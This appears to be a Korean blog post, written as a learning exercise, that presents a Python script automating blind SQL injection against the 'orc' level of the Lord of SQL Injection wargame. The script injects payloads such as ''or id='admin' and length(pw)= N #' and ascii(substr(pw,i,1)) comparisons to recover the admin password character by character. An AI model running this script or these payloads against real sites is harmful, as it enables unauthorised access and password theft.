관리 메뉴

FU11M00N

Lord of SQL Injection(orc) 블라인드 인젝션 자동화툴 본문

Programming/Python

Lord of SQL Injection(orc) 블라인드 인젝션 자동화툴

호IT 2020. 3. 21. 18:20

안녕하세요! 이번에는 Lord of SQL Injection(orc)에서 사용 가능한,

파이썬 Requests 모듈을 사용해 블라인드 자동화 툴을 만들어보겠습니다.

 

우선 Request 모듈에서 사용할 수 있는 것들은

 

  • requests.get
    get 요청할 때 사용, 전달 가능 인자 값 (url, params, cookies, headers 등)
    ex) response = requests.get(url, params)
  • requests.post
    post 요청할때 사용, 전달 가능 인자값 (url, data, cookies, headers 등)
    ex) response = requests.post(url, params)
  • headers 구성
    headers = {'Content-Type': 'application/json; charset=utf-8'}
  • cookies 구성
    cookies = {'sid': 'asdfghjk12 qwe34 rt'}
  • params 구성
    params = {'id': 'testid', 'pw': 'testpasswd'}
  • response.status_code
    응답 코드
  • response.text
    응답 결과를 text로
  • response.elapsed.total_seconds()
    응답까지 걸린 시간을 체크 (Time-Based Blind injecthion에 사용)

https://jaeseokim.tistory.com/26 출처입니다!

 

자주 사용되는 파이썬 requests 라이브러리 함수입니다.

 

import requests
url ='https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php' #url 주소 입력
cookies = {'PHPSESSID': 'mmblkc02vmio82tck1thcr06d7'} # 세션 쿠키를 입력
def find_pw_len(): # pw의 길이를 알아내는 함수
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value ="'or id='admin' and length(pw)= {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params={'pw' : value} # pw 안에 코드를 삽입한다..
        response = requests.get(url,params=params,cookies=cookies) # get방식으로 url, 파라미터, 쿠키를 서버에 전송한다.
        if("Hello admin" in response.text): # 만약 서버로부터 Hello admin 이란 응답이 온다면
            print("길이는? =",pw_len) # pw_len 길이를 출력한다
            break
        print("시도중 입니다!:",pw_len)
    return pw_len


def find_pw():
    pw_len=find_pw_len() # 찾아낸 pw의 길이를 pw_len 변수안에 넣어준다
    flag='' # 문자열을 저장하고있는 변수
    for pw_value in range(1,pw_len+1): # 1부터 pw_len 의 값만큼 반복한다
        for ascii in range(48,122): # 아스키코드값 48부터 122 까지 반복한다.
            value ="'or id='admin' and ascii(substr(pw,{},1))= {} #".format(pw_value,ascii) # 반복하면서 PW을 substr 값으로 변환하고 그 값을 한번더 ascii로 변환한 값을 이용하여 정답을 찾아낸다
            params = {'pw': value} # pw안에 코드를 넣는다.
            response = requests.get(url, params=params, cookies=cookies) # get 방식으로 url,파라미터 , 쿠키 값을 전송한다.
            if("Hello admin" in response.text): #만약 서버로부터 Hello admin을 찾으면
                print("pw의 값은!",chr(ascii)) # 그 값을 출력한다.
                flag+=chr(ascii) # 값이 나올때마다 flag 문자열 변수에 넣는다.
                break
            print("값을 찾고있습니다!",chr(ascii))
    print("정답은:",flag,"입니다")
find_pw()

32줄가량되는 파이썬 코드입니다. 

 

제가 파이썬의 for, if 문 같은 기본적인 문법도 모르고 파이썬을 처음 사용하여 만든 것이라서

다른 블로그분들꺼를 많이 레퍼런스 했습니다. 직접 짜보 고나니 대충 느낌도 오고 재밌있었습니다!

 

사진 1-1
사진 1-2
사진 1-3

ORC Clear!! 

Comments